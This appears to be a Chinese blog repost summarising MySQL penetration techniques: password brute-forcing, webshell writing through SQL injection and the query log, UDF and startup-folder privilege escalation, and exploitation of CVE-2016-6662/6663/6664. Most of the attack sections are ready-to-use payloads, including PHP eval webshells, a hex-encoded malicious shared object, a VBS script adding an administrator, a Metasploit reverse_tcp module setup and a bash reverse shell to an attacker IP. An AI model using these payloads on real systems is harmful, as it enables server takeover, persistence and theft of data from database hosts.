首页 > 数据库 >【待做】【MySQL安全】内网渗透测试:MySql的利用与提权思路总结

【待做】【MySQL安全】内网渗透测试:MySql的利用与提权思路总结

时间:2024-08-15 13:26:37浏览次数:6  
标签:www MySql 写入 提权 file mysql MySQL 权限

一、MySQL 相关信息收集

二、通过 MySql 获取服务器权限
   2.1 获取 MySql 连接密码
   2.2 MySQL 口令爆破
   2.3 MySQL 哈希值爆破
   2.4 从网站泄露的源代码中寻找数据库密码
   2.5 通过 MySql 向服务器写 WebShell
   2.6 利用 Union select 写入 WebShell
   2.7 利用分隔符写入 WebShell
   2.8 利用 log 日志写入 WebShell
   2.9 通过 MySQL 进行权限提升
   2.10 MySQL UDF 提权执行系统命令
        2.10.1 UDF 手动提权步骤
        2.10.2 UDF 提权在 Metasploit 下的利用
   2.11 MySQL启动项提权
        2.11.1 手动利用
        2.11.2 Metasploit 下的利用


三、MySQL 0day 漏洞
    3.1 CVE-2016-6662(可将mysql权限提升为系统root权限)
    3.2 CVE-2016-6663(可将www-data权限提升为mysql权限)
    3.3. CVE-2016-6664(可将mysql权限提升为root权限)

MySQL 是世界上最流行的关系型数据库管理系统,在 WEB 应用方面 MySQL 是最好的 RDBMS(Relational Database Management System:关系数据库管理系统)应用软件之一。
全球很多著名公司和站点都使用Mysql作为其数据库支撑,并且很多架构都以Mysql作为数据库管理系统,例如LAMP、和WAMP等,在针对网站渗透中,很多都是跟Mysql数据库有关,各种Mysql注入,利用Mysql来getshell、Mysql提权,等等。本文,笔者我对Mysql在渗透测试中的常见的基础利用进行了详细的总结,包括利用MySQL获取webshell、MySQL提权以及几个MySQL的0day漏洞等。

一、MySQL相关信息收集

不管是你渗透什么玩意儿,信息收集都是首要的一步。在行动之前,我们需要搞清楚,目标主机上是否存在MySQL、MySQL运行在默认的端口还是指定的端口、MySQL的版本信息、MySQL用户信息等等。

Mysql默认端口是3306端口,但也有自定义端口,针对默认端口扫描主要利用扫描软件进行探测。我们可以用nmap等端口扫描工具对MySQL的端口进行扫描。

如果已经获得了目标MySQL的密码,我们可以使用该用户名和密码扫描获取指定IP地址的端口信息以及mysql数据库相关信息:

nmap -sV -sC 192.168.1.13
nmap -sV -sC 192.168.1.13 -p 3306

Nmap还内置了多个mysql相关脚本,有审计,暴力破解,hash、空密码扫描、枚举、基本信息、查询、变量等等:

/usr/share/nmap/scripts/mysql-audit.nse
/usr/share/nmap/scripts/mysql-brute.nse
/usr/share/nmap/scripts/mysql-databases.nse
/usr/share/nmap/scripts/mysql-dump-hashes.nse
/usr/share/nmap/scripts/mysql-empty-password.nse
/usr/share/nmap/scripts/mysql-enum.nse
/usr/share/nmap/scripts/mysql-info.nse
/usr/share/nmap/scripts/mysql-query.nse
/usr/share/nmap/scripts/mysql-users.nse
/usr/share/nmap/scripts/mysql-variables.nse
/usr/share/nmap/scripts/mysql-vuln-cve2012-2122.nse

能不能用不知道,反正我是没用过。

Metasploit也有几个可用于收集MySQL信息的模块:

获取MySQL相关信息:

auxiliary/admin/mysql/mysql_enum
auxiliary/scanner/mysql/mysql_version

文件枚举和目录可写信息枚举:

auxiliary/scanner/mysql/mysql_file_enum
auxiliary/scanner/mysql/mysql_writable_dirs

另外,我们还可以使用sqlmap通过注入点扫描获取目标数据库的信息。sqlmap在测试注入点时,会枚举出目标主机的数据库类型、版本等信息。

二、通过MySql获取服务器权限

2.1 获取MySql连接密码

假设目标服务器开启3389端口,并且允许我们进行远程访问的话,我们可以采取爆破MySQL用户密码的方法,获取MySQL的权限。

在渗透测试中,获取MySql连接密码的思路大致有以下几种:

2.2 MySQL 口令爆破

当我们通过信息收集已经知道目标主机上运行有MySql服务时,我们可以对其连接密码进行爆破,但这种方法一般是不会成功的,爆破成功的几率近乎为零。除非管理员用的是弱口令,我们才有尝试一下爆破的必要。
但为了提高爆破成功的概率,社工也是不可缺少的。
我们可以通过收集一个人的各种信息,例如姓名、社交平台账号/昵称、手机号、生日、伴侣姓名/生日、职业等信息,通过这些写信息生成针对性的字典,利用该字典进行爆破。

如若你真想进行 MySQL 口令爆破,可以用以下几种方法:

(一)通过metasploit相关模块进行爆破

Metasploit的auxiliary/scanner/mysql/mysql_login模块可用来登录mysql,亦可用来爆破mysql口令:

use auxiliary/scanner/mysql/mysql_login
set RHOSTS 192.168.1.13
set pass_file /tmp/wordlists.txt    # 设置字典
set username root
run

(二)使用nmap扫描并破解密码

(1)对某一个IP或者IP地址段进行mysql root默认密码暴力扫描并破解:

nmap --script=mysql-brute.nse 192.168.1.13
nmap --script=mysql-brute.nse 192.168.1.13 -p 3306
nmap --script=mysql-brute.nse 192.168.1.1-255

也可以自定义账号密码字典。

nmap -p 3306 --script=mysql-brute.nse userdb=/tmp/passdb.txt passdb=/tmp/pass.txt 192.168.1.13

(2)检查mysql root空口令

nmap --script=mysql-empty-password.nse 192.168.195.130

2.3 MySQL 哈希值爆破

MySQL的用户名密码哈希值保存在mysql库的user表中:

mysql> select host, user, password from mysql.user;
+-----------+------+-------------------------------------------+
| host      | user | password                                  |
+-----------+------+-------------------------------------------+
| localhost | root | *36BCFC********************C617716EE3DC63 |
| ubuntu    | root | *36BCFC********************C617716EE3DC63 |
| 127.0.0.1 | root | *36BCFC********************C617716EE3DC63 |
| ::1       | root | *36BCFC********************C617716EE3DC63 |
+-----------+------+-------------------------------------------+
4 rows in set (0.00 sec)

mysql>

直接将获取到的哈希值放到cmd5.com在线哈希破解网站上在线破解即可。

2.4 从网站泄露的源代码中寻找数据库密码

网站的配置文件中大多含有数据库的连接配置,如数据库用户名、密码等配置信息。
当我们获得到了目标网站的备份文件时,首先查看一下网站的配置文件可能会有以外的收获。

2.5 通过MySql向服务器写WebShell

需要具有以下几个条件:

存在sql注入漏洞

当前数据库用户具有写入权限

知道目标网站Web物理路径

secure_file_priv 选项支持数据导出

有时候,即使当前数据库用户有了file权限,也不能成功将数据导出至自己想要的目录。因为高版本的MYSQL添加了一个新的特性 secure_file_priv,该选项对mysql导出文件做了限制,输出目录路径应该secure_file_priv一致,否侧文件操作不成功:

mysql> show variables like '%secure_file_priv%';
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_file_priv | NULL  |
+------------------+-------+
1 row in set (0.00 sec)

mysql>

该参数用于限制select...into outfile...、load_file()导出到或读取哪个指定的目录。

secure_file_priv 的值为 NULL 时,表示限制mysql不允许导入或导出。

secure_file_priv 的值为为 /tmp 时,表示限制mysql只能在/tmp目录中执行导入导出,其他目录不能执行。

secure_file_priv 没有值即值为空时,表示允许mysql在任何目录导入或导出。

因为 secure_file_priv 参数是只读参数,所以不能使用set global命令直接修改,我们应在mysql的配置文件(my.cnf或my.ini)中进行设置:

开my.cnf 或 my.ini,加入以下语句后重启mysql即可:

[mysqld]
secure_file_priv=''

查看secure_file_priv修改后的值:

此时便可以在任何目录中导出或导入数据了,这也是我们利用MySql向服务器写WebShell的基础。

2.6 利用 Union select 写入WebShell

这是最常见的一种写入方式,union select 配合 select into outfile,将WebShell写入服务器,适用于sql注入点事联合注入的情况下。

index.php/?id=1 union select 1,"<?php @eval($_POST[whoami]);?>",3 into outfile '/var/www/html/shell.php' --+

mysql可以解析十六进制,我们也可以对一句话进行十六进制编码,最终效果都是一样的:

index.php/?id=1 union select 1,0x3c3f70687020406576616c28245f504f53545b77686f616d695d293b3f3e,3 into outfile "/var/www/html/shell.php"--+

如下图,成功写入webshell:

2.7 利用分隔符写入WebShell

当sql注入点为为盲注或基于报错的注入时,Union select 写入的方式显然是利用不了的,我们可以通过分隔符写入WebShell。

?id=1 into outfile '/var/www/html/shell.php' lines terminated by 0x3c3f70687020406576616c28245f504f53545b77686f616d695d293b3f3e--+

此选项指定文本文件中行与行之间数据的分隔字符串 或者字符。

同样的技巧,一共有四种形式:

?id=1 into outfile '物理路径' lines terminated by  (一句话hex编码)#
?id=1 into outfile '物理路径' fields terminated by (一句话hex编码)#
?id=1 into outfile '物理路径' columns terminated by (一句话hex编码)#
?id=1 into outfile '物理路径' lines starting by (一句话hex编码)#

如下图,成功写入webshell:

2.8 利用log日志写入WebShell

Mysql查询日志用来保存所有跟查询相关的日志,我们可以通过指定mysql日志的存放路径来往目标主机上写入webshell,但是也要对生成的日志有可读可写的权限。
这种日志类型默认是关闭状态的,因为MySQL的用户有很多,如果将每个用户的查询操作都记录下来的话,对服务器的资源开销也是一件令人烦恼的事情。
查询日志常见的几个配置选项:

mysql> show variables like '%general%';
+------------------+-----------------------------+
| Variable_name    | Value                       |
+------------------+-----------------------------+
| general_log      | OFF                         |
| general_log_file | /www/server/data/Ubuntu.log |
+------------------+-----------------------------+
2 rows in set (0.00 sec)

mysql>
general_log 指定日志保存状态,一共有两个值(ON/OFF)ON代表开启 OFF 代表关闭。

general_log_file 指的是日志的保存路径

当 general_log=ON 时,所执行的sql语句都会出现在/www/server/data/Ubuntu.log这个文件里。那么,如果把 general_log_file 的路径修改为 /var/www/html/shell.php,那么所执行的sql语句就会保存在shell.php中,如果我们执行查询一个一句话,就可以getshell。

利用方式如下:


show variables like '%general%';         # 查看查询日志全局配置

set global general_log = ON;             # 开启general log模式,将所有到达MySQL Server的SQL语句记录下来。

set global general_log_file = '/var/www/html/shell.php';    # 设置日志文件地址

select '<?php eval($_POST[whoami]);?>';   # 查询一句话,此时日志文件shell.php中将写入webshell

set global general_log=OFF;              # 关闭general log模式

如下图,成功在Web目录写入webshell:

注意:以上几种方法虽然成功在目标服务器的web目录下写入了webshell,但是所需要的条件极其严格,其中最为主要的就是当前数据库用户具有写入权限和 secure_file_priv 选项支持数据导入导出。但是,在 Linux 系统中权限分配十分严格,MySQL 用户一般情况下是无法直接往web根目录写入文件的,即便成功,写入的文件的权限也是MySQL的(上图中可见),Apache也是无法访问的,所以,以上方法通常是在Windows系统中适用。这个点需要记一下。

2.9 通过MySQL进行权限提升

所谓通过MySQL进行权限提升就是通过MySQL执行系统命令。假如说我们发现了某个网站存在SQL注入,亦或者是我们发现了某个主机的数据库的账号密码,我们直接远程连接上了该数据库。现在我们想利用该数据库来执行系统命令,该如何去做呢?下面我们就来演示几种通过MySQL执行系统命令进行权限提升的方法。这里需要注意的是,执行系统命令的权限取决于数据库启动用户的权限。

2.10 MySQL UDF提权执行系统命令

UDF是MySQL的一个拓展接口,UDF(Userdefined function)可翻译为用户自定义函数,这个是用来拓展Mysql的技术手段。

使用过MySQL的人都知道,MySQL有很多内置函数提供给使用者,包括字符串函数、数值函数、日期和时间函数等,给开发人员和使用者带来了很多方便。MySQL的内置函数虽然丰富,但毕竟不能满足所有人的需要,当MySQL的内置函数不能满足需要的时候,就需要对MySQL进行一些扩展,幸运的是,MySQL给使用者提供了添加新函数的机制,这种使用者自行添加的MySQL函数就称为UDF(User Define Function)。

当我们有了数据库读取和写入权限以后,我们就可以尝试使用UDF提权的方法,从数据库root权限提升到系统的管理员权限。

UDF的使用需要调用其动态链接库文件(.dll或.so),使用UDF提权原理大概就是通过引入恶意的udf.dll,引入自定义函数(如sys_eval()函数),执行系统命令。
掌握MySQL数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。
当前用户拥有可以将udf.dll写入相应目录的权限。
如果MySQL版本小于5.1且为Windows系统,则udf.dll文件存放在 C:\windows 或者 C:\windows\system32 目录下。
如果MySQL版本大于5.1,udf.dll文件必须放置在MySQL安装目录的lib/plugin文件夹下,该plugin目录默认不存在需要创建。

假设我的UDF文件名为 udf.dll,存放在MySQL安装目录的 lib/plugin 目录下(MySQL>5.1):

在 udf.dll 文件中,我定义了一个名为 sys_eval() 的 MySQL 函数,该函数可以执行系统任意命令。但是如果我现在就打开 MySQL 命令行,使用 select sys_eval('whoami');的话,系统会返回 sys_eval() 函数未定义。因为我们仅仅是把 udf.dll 放到了 lib/plugin 目录下,并没有引入。类似于面向对象编程时引入包一样,如果没有引入包,那么这个包里的类你是用不了的。所以,我们应该把 udf.dll 中的自定义函数引入进来。引入的方法如下:

create function sys_eval returns string soname 'udf.dll';

sys_eval:我们要引入的函数名。

udf.dll:我们要从中引入函数的链接库文件。

成功引入该函数后,可以查看一下 mysql 函数里面新增了 sys_eval:

mysql> select * from mysql.func;
+----------+-----+---------+----------+
| name     | ret | dl      | type     |
+----------+-----+---------+----------+
| sys_eval |   0 | udf.dll | function |
+----------+-----+---------+----------+
1 row in set (0.00 sec)

mysql>

此时我们便可以像执行其他MySQL内置函数一样去使用该函数了。

2.10.1 UDF手动提权步骤

当我们通过各种方法获取了目标MySQL数据库的权限并满足UDF提权的条件后,我们可以按照以下步骤进行提权。

(一)查看 secure_file_priv 的值

上文说了,secure_file_priv 是用来限制 into dumpfile、into outfile、load_file() 函数能在哪个目录下导出或者读取文件的,所以该值为空是我们利用UDF提权的首要条件:

mysql> show variables like '%secure_file_priv%';
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_file_priv |       |
+------------------+-------+
1 row in set (0.02 sec)

mysql>

(二)查看系统架构及plugin插件目录

UDF的dll动态链接库文件需要放在该目录下:

mysql> show variables like '%compile%';    # 查看主机版本及架构
+-------------------------+--------+
| Variable_name           | Value  |
+-------------------------+--------+
| version_compile_machine | x86_64 |
| version_compile_os      | Linux  |
+-------------------------+--------+
2 rows in set (0.00 sec)
mysql> show variables like '%plugin%';    # 查看plugin目录
+---------------+-------------------------------+
| Variable_name | Value                         |
+---------------+-------------------------------+
| plugin_dir    | /www/server/mysql/lib/plugin/ |
+---------------+-------------------------------+
1 row in set (0.01 sec)

mysql>

可知目标主机plugin插件目录为/www/server/mysql/lib/plugin/。

如若该目录不存在,可以通过webshell等方式找到 MySQL 的安装目录然后手工创建 lib/plugin 文件夹

(三)将我们构造的恶意动态链接库文件写入plugin插件目录

我们应该去哪里找动态链接库文件去呢?Sqlmap 和 Metasploit 工具里面都自带了对应系统的动态链接库文件。

下面是二者的UDF动态链接库文件的存放位置:

Sqlmap:位于sqlmap/data/udf/mysql目录下,包含64位和32位Linux和Windows系统下利用的动态链接库文件:

Metasploit:位于/usr/share/metasploit-framework/data/exploits/mysql目录下,包含64位和32位Linux和Windows系统下利用的动态链接库文件:

另外需要注意,sqlmap 中 自带这些动态链接库为了防止被杀软误杀都经过编码处理,不能直接使用。使用之前需要先用 sqlmap 自带的解码工具 cloak.py (extra/cloak目录下)解码,解码的方式如下:

python3 cloak.py -d -i <动态链接库文件>

找到目标主机对应系统版本和位数的UDF文件后,我们需要将UDF文件写入plugin插件目录,大多数情况下我们是将.dll转化成十六进制然后再写入。这里以Linux、64位MySQL为例。

首先在攻击者本地,将lib_mysqludf_sys_64.solib_mysqludf_sys_32.so中的内容进行十六进制编码:

select hex(load_file('lib_mysqludf_sys_64.so')) into outfile "udf_64.hex";

生成了 hex 文件以后我们可以将udf_32.hex文件的内容复制出来(注意前面加上0x),然后执行如下命令写入目标机的lib/plugin插件目录下:

select 0x7F454C5602010100000000000000000003003E0001000000D00C0000000000004000000000000000E8180000000000000000000040003800050040001A0019000100000005000000000000000000000000000000000000000000000000000000141500000000000014150000000000000000200000000000010000000600000018......010000000000000000000000000000000000000088170000000000009B000000000000000000000000000000010000000000000000000000000000000100000003000000000000000000000000000000000000002318000000000000C500000000000000000000000000000001000000000000000000000000000000 into dumpfile "/www/server/mysql/lib/plugin/udf.so";

但是由于数据过长,我们需要将其分段写入。
即先创建一个表,然后将十六进制数据分段写入表中,最后将含有数据的那个字段导出到udf.so,操作如下:

create table temp(data longblob);
insert into temp(data) values (0x7F454C5602010100000000000000000003003E0001000000D00C0000000000004000000000000000E8180000000000000000000040003800050040001A00190001000000050000000000000000000000000000000000000000000000000000001415000000000000141500000000000000002000000000000100000006000000181500000000000018152000000000001815200000000000700200000000000080020000000000000000200000000000020000000600000040150000000000004015200000000000401520000000000090010000000000009001000000000000080000000000000050E57464040000006412000000000000641200000000000064120000000000009C000000000000009C00000000000000040000000000000051E5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000250000002B0000001500000005000000280000001E000000000000000000000006000000000000000C00000000000000070000002A00000009000000210000000000000000000000270000000B000000220);
update temp set data = concat(data,0x0000018000000240000000E00000000000000040000001D0000001600000000000000130000000000000000000000120000002300000010000000250000001A0000000F000000000000000000000000000000000000001B00000000000000030000000000000000000000000000000000000000000000000000002900000014000000000000001900000020000000000000000A00000011000000000000000000000000000000000000000D0000002600000017000000000000000800000000000000000000000000000000000000000000001F0000001C0000000000000000000000000000000000000000000000020000000000000011000000140000000200000007000000800803499119C5C93DA4400398046883140000001600000017000000190000001B0000001D0000002000000022000000000000002300000000000000240000002500000027000000290000002A00000000000000CE2CC0BA673C7690EBD3EF0E78722788B98DF10ED871581CC1E2F7DEA868BE12BBE3927C7E8B92CD1E7066A9C3F9BFBA745BB073371974EC5345D5ECC5A62C1CC3138AFF36AC68AE3B9FD4A0);
update temp set data = concat(data,0xAC73D1C525681B320B5911FEAB5FBE120000000000000000000000000000000000000000000000000000000003000900A00B0000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000E0000000120000000000000000000000DE01000000000000790100001200000000000000000000007700000000000000BA0000001200000000000000000000003504000000000000F5000000120000000000000000000000C2010000000000009E010000120000000000000000000000D900000000000000FB000000120000000000000000000000050000000000000016000000220000000000000000000000FE00000000000000CF000000120000000000000000000000AD00000000000000880100001200000000000000000000008000000000000000AB010000120000000000000000000000250100000000000010010000120000000000000000000000DC00000000000000C7000000120000000000000000000000C200000000000000B5000000120000000000000000000000CC02000000000000ED000000120000000000000000000000E802000000000000E70000001200000000000000000000009B);
...... # 不断通过update语句配合concat将数据拼接进去,当十六进制数据全部分段拼入data字段后,执行如下命令将该字段导出:
select data from temp into dumpfile "/www/server/mysql/lib/plugin/udf.so";

还有一个巧妙的方法便是利用load_file()函数,该函数支持远程加载,我们可以将UDF文件放在vps上,执行如下命令让目标机远程加载该文件并下载到指定目录里:

select load_file('\\\\47.xxx.xxx.72\udf.so') into dumpfile "/www/server/mysql/lib/plugin/udf.so"

(四)引入UDF函数并调用函数执行系统命令

引入的方法如下:

create function sys_eval returns string soname 'udf.so';

sys_eval:我们要引入的函数名。

udf.dll:我们要从中引入函数的链接库文件。

成功引入该函数后,我们便可以像执行其他MySQL内置函数一样去使用该函数了:

select sys_eval('whoami');

如下图所示,命令执行成功:

(5)清理痕迹

删除自定义函数:

drop function sys_eval;

注意:还是那个问题,linux系统的权限管理太严了,如果是Windows系统的话一般就是管理员权限了:

2.10.2 UDF提权在Metasploit下的利用

如果你觉得上面手动的方法麻烦的话,也可以利用metasploit中的exploit/multi/mysql/mysql_udf_payload模块实现自动化UDF函数注入,只适用于Windows系统:

使用如下:

use exploit/multi/mysql/mysql_udf_payload
set rhosts 192.168.1.13
set username root
set password root
run

MSF会将一个随机命名的UDF文件写入lib/plugin目录下(如果该目录不存在的话,则无法执行成功),该UDF文件中包含sys_exec()和sys_eval()这两个函数,但是默认只创建sys_exec()函数,该函数执行并不会有回显。我们可以手动引入 sys_eval() 函数,来执行有回显的命令。

create function sys_eval returns string soname 'guuHCUiK.dll';

2.11 MySQL启动项提权

2.11.1 手动利用

所谓MySQL的启动项提权,就是将自定义的脚本写入到开机自启目录下,如果管理员重启了服务器,那么就会自动调用该脚本,并执行其中的用户添加及提权命令。这种提权也常见于 Windows 环境下,写入的脚本支持 vbs 和 exe 类型,可以利用 vbs 执行一些 CMD 命令,也可以使用 exe 上线 metasploit 或 cobalt strike。

VBS脚本的话最常见的就是创建一个管理员用户:

Set WshShell=WScript.CreateObject("WScript.Shell")
WshShell.Run "net user whoami Liu78963 /add", 0
WshShell.Run "net localgroup administrators whoami /add", 0

写入的方式与上文中讲的那几种方法一样,即先在本地将vbs脚本用mysql的hex()函数进行十六进制编码,然后利用into outfile...into dumpfile写入:

select 0x536574205773685368656C6C3D575363726970742E4372656174654F626A6563742822575363726970742E5368656C6C22290D0A5773685368656C6C2E52756E20226E657420757365722077686F616D69204C69753738393633202F616464222C20300D0A5773685368656C6C2E52756E20226E6574206C6F63616C67726F75702061646D696E6973747261746F72732077686F616D69202F616464222C2030 into dumpfile 'C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\evil.vbs';

此时,如果管理员重启了服务器,那么就会自动调用该脚本,并执行其中的命令,如下图所示,常见管理员新用户“whoami”成功:

同样,我们也可以将exe写入到开机自启目录下,写入的方式与上文中讲的那几种方法一样,即先在本地将exe程序用mysql的hex()函数进行十六进制编码,然后利用into outfile...或into dumpfile写入到目标机的自启目录下。如下我们写入一个msf马“shell.exe”。

首先在攻击者本地将shell.exe进行十六进制转换:

select hex(load_file('shell.exe')) into outfile "shell.hex";

将得到的hex文件shell.hex里的内容复制出来,利用上文中写UDF文件的方法分段写入目标机自启目录下即可(老长了~~~)。

带目标服务器重启后,我们便可以得到目标主机的meterpreter:

2.11.2 Metasploit下的利用

如果你觉得上面手动的方法麻烦的话,metasploit中也集成了相应的模块:exploit/windows/mysql/mysql_start_up

使用如下:

use exploit/windows/mysql/mysql_start_up
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.7
set lport 4444
set rhosts 192.168.1.13
set username root
set password root
set startup_folder xxx     # 根据目标系统进行设置自启目录
run

执行后,msf将在目标主机的启动项中写入一个exe的msf木马:

待目标主机重启后,便会得到目标主机的meterpreter:

三、MySQL 0day 漏洞

3.1 CVE-2016-6662(可将mysql权限提升为系统root权限)

2016年,一个独立的研究组织发现多处严重的Mysql漏洞,此次通报的是其中比较严重的一个漏洞CVE-2016-6662,它允许攻击者远程注入恶意配置到被攻击服务器的Mysql配置文件my.cnf中,导致可加载任意扩展库。当扩展库中存在恶意指令时就可以Getshell。

该漏洞影响的版本如下:

mysql <= 5.7.15

mysql <= 5.6.33

mysql <= 5.5.52

漏洞原理

在Linux系统中,一些默认的Mysql安装包自带mysql_safe脚本作为包装器,当我们使用service mysql start、/etc/init.d/mysql start等命令启动MySQL时,mysqld_safe封装脚本是以root权限启动的,而主要的mysqld进程却是用权限较低的mysql用户启动的。并且mysql_safe脚本将在mysql服务启动前预加载一个扩展库,这个扩展库可以在MySQL的配置文件my.cnf中通过名为malloc_lib的配置项进行设置,该配置项写在[mysqld]下。

如果我们在my.cnf中通过malloc_lib配置项指定一个存在恶意代码的扩展库路径,那么在mysql重启的时候,这些代码将被以root权限执行,实现权限提升。

漏洞利用条件

攻击者已经获得了目标主机MySQL的权限

目标主机的MySQL版本在漏洞影响范围内

攻击者当前获得权限的MySQL用户为root权限(否则无法修改general_log_file全局变量)

下面,我们来复现该漏洞。

实验环境

目标机IP:192.168.1.10

攻击机IP:192.168.1.7

首先,我们下载一个C脚本,用来编译成我们恶意的扩展库,可获得目标机的shell:

http://legalhackers.com/exploits/mysql_hookandroot_lib.c

如下修改该攻击脚本:

执行如下命令编译生成恶意的扩展库文件mysql_hookandroot_lib.so:

gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl

然后通过上文所讲的各种方式将生成的mysql_hookandroot_lib.so上传到目标机的/tmp目录下即可。

接下来,我们要确定要修改的MySQL配置文件为哪个。
MySQL的配置文件除了默认的 /etc/my.cnf,还有别的配置文件路径,并且是顺序读取的:

可见MySQL不仅会读取/etc/my.cnf,还会读取$MYSQL_HOME/my.cnf即msyql自身目录下的mf.cnf
那我们到底修改哪一个my.cnf呢❓
答案是都可以,但最好是mysql目录下的,因为msyql目录毕竟是人家mysql自己的目录,以mysql用户运行的mysql当然是有权限写的,而别的文件可就不好说了。
但也无法避免管理员的错误配置情况,所以,只要mysql用户有mysql配置文件的所属权限,攻击便可以追加恶意的配置项到该文件。

其次,我们还要确定用什么方法写my.cnf文件。
一说到写文件,我们便可以想到into outfile和into dumpfile。
但是在这里,我们不能用这种方式,因为outfile和dumpfile写出来的文件的权限为-rw-rw-rw,而MySQL有一个安全规则,即如果配置文件的权限可被其他用户写,则将会忽略这个配置文件。
所以outfile和dumpfile写出来的配置文件不符合该安全规则。

我们可以用上文中讲的log写文件的方法。并且log写文件对于已存在的文件将会自动追加,正好可以避免写入的以下banner内容对MySQL配置文件的影响,也就是说,如果要用log写配置文件的话,该配置文件必须是mysql已经创建好的。

攻击者在目标主机的MySQL里执行以下操作即可写入MySQL配置文件:

mysql> set global general_log = on;    # 开启日志功能

mysql> set global general_log_file = '/etc/my.cnf';    # 设置日志存放路径为mf.cnf

mysql> select "    # 执行后,将在日志中(my.cnf)中写入恶意配置
	"> [mysqld]
	"> malloc_lib=/tmp/mysql_hookandroot_lib.so
	">
	"> #";
	
mysql> set global general_log = off;    # 关闭日志功能

查看目标机MySQL配置文件,发现已经成功写入了恶意的配置项:

然后等待目标mysql,攻击者机器上边获得了目标主机的shell:

上述的操作要修改general_log全局变量,也就是说攻击者当前获得权限的MySQL用户必须是root权限。如果攻击者当前获得权限的MySQL用户不是root权限,则我们无法修改general_log全局变量,那么此时我们还可以利用此漏洞吗?当然可以,只需要一个具有 select、insert、create、file 权限的用户即可。

我们可以利用MySQL触发器的方法来成功写入修改配置文件:

CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf
AFTER INSERT
   ON `active_table` FOR EACH ROW
BEGIN
   DECLARE void varchar(550);
   set global general_log_file='/var/lib/mysql/my.cnf';
   set global general_log = on;
   select "
[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'
" INTO void;
   set global general_log = off;
END;

当表刷新的时候就会执行触发器,比如通过insert来让表刷新:

INSERT INTO `active_table` VALUES('xyz');

触发器的代码会以mysql root权限执行,从而让攻击者修改general_log设置,即使此时攻击者没有数据库的管理员权限。

给出一个利用脚本:

http://legalhackers.com/exploits/0ldSQL_MySQL_RCE_exploit.py

3.2 CVE-2016-6663(可将www-data权限提升为mysql权限)

2016年11月01日,国外安全研究员Dawid Golunski在 MySQl、MariaDB 和 PerconaDB 数据库中发现条件竞争漏洞。该漏洞允许本地用户使用低权限(CREATE/INSERT/SELECT权限)的账号提升权限到数据库系统用户权限(通常是mysql用户权限)来执行任意代码,黑客成功利用此漏洞后,可以完全访问数据库。

该漏洞影响的版本如下:

MySQL:

<= 5.5.51

<= 5.6.32

<= 5.7.14

漏洞利用条件

攻击者已经获取到目标服务器的webshell权限

可以通过反弹shell的方法获得目标主机的交互环境

已经拿到了一个低权限(CREATE/INSERT/SELECT权限)的 MySQL 账户的用户名和密码

目标主机的MySQL版本在漏洞影响范围内

下面我们来复现该漏洞。

实验环境:

目标机IP:192.168.1.10
攻击机IP:192.168.1.7

假设我们已经通过蚁剑获得了目标主机的webshell权限。

首先,我们先下载一个C脚本 mysql-privesc-race.c,通过蚁剑将编译将其上传到目标主机。然后执行如下命令反弹个shell获取目标主机的交互环境:

bash -c "bash -i >& /dev/tcp/192.168.1.7/2333 0>&1"

然后执行如下命令将上传的攻击脚本编译生成我们的exp程序:

gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient

最后,在shell环境中执行的exp程序:

./mysql-privesc-race whoami 123456 localhost whoami_db

whoami:已经拿到了一个低权限(CREATE/INSERT/SELECT权限)的 MySQL 用户名

123456:低权限 MySQL 用户的密码

localhost:数据库地址

whoami_db:属于whoami用户的数据库

执行成功后会获得一个mysql权限,要想提升到系统root权限还需要配合CVE-2016-6664漏洞,大概如下:

www-data@xenial:~/mysql-exploit$ time ./mysql-privesc-race www-data pocsql localhost pocdb

MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit
mysql-privesc-race.c (ver. 1.0)

CVE-2016-6663 / OCVE-2016-5616

For testing purposes only. Do no harm.

Discovered/Coded by:

Dawid Golunski 
http://legalhackers.com


[+] Starting the exploit as: 
uid=33(www-data) gid=33(www-data) groups=33(www-data)

[+] Connecting to the database `pocdb` as www-data@localhost
[+] Creating exploit temp directory /tmp/mysql_privesc_exploit
[+] Creating mysql tables 

DROP TABLE IF EXISTS exploit_table 
DROP TABLE IF EXISTS mysql_suid_shell 
CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/mysql_privesc_exploit' 
CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/mysql_privesc_exploit' 

[+] Copying bash into the mysql_suid_shell table. After the exploitation the following file/table will be assigned SUID and executable bits : 
-rw-rw---- 1 mysql www-data 1037528 Nov  1 02:33 /tmp/mysql_privesc_exploit/mysql_suid_shell.MYD

[+] Entering the race loop... Hang in there...
[+] Bingo! Race won (took 5 tries) ! Check out the mysql SUID shell: 
-rwsrwxrwx 1 mysql www-data 1037528 Nov  1 02:33 /tmp/mysql_privesc_exploit/mysql_suid_shell.MYD

[+] Spawning the mysql SUID shell now... 
    Remember that from there you can gain root with vuln CVE-2016-6662 or CVE-2016-6664 :)

mysql_suid_shell.MYD-4.3$ whoami
mysql
mysql_suid_shell.MYD-4.3$ id
uid=33(www-data) gid=33(www-data) euid=102(mysql) groups=33(www-data)

但我在本地测试失败了,总是报错说“cp: cannot create regular file '/tmp/mysql_privesc_exploit/mysql_suid_shell.MYD': Permission denied”,有知道原因的大佬还请写在评论里告诉我。

3.3. CVE-2016-6664(可将mysql权限提升为root权限)

该漏洞可以使mysql用户权限提升为系统root权限。

该漏洞影响的版本如下:

MySQL :

<= 5.5.51

<= 5.6.32

<= 5.7.14

漏洞利用条件

攻击者已经获取到目标服务器的webshell权限。

可以通过反弹shell的方法获得目标主机的交互环境。

已经通过CVE-2016-6663等方式获取到系统mysql用户权限。

目标主机的MySQL版本在漏洞影响范围内。

目标主机配置必须是是基于文件的日志(默认配置),也就是不能是syslog方式。执行grep -r syslog /etc/mysql没有任何结果既满足“基于文件的日志”要求。

该漏洞利用很简单,首先下载漏洞利用脚本 mysql-chowned.sh,将该脚本上传到目标主机并以系统mysql用户权限运行即可获取系统root权限:

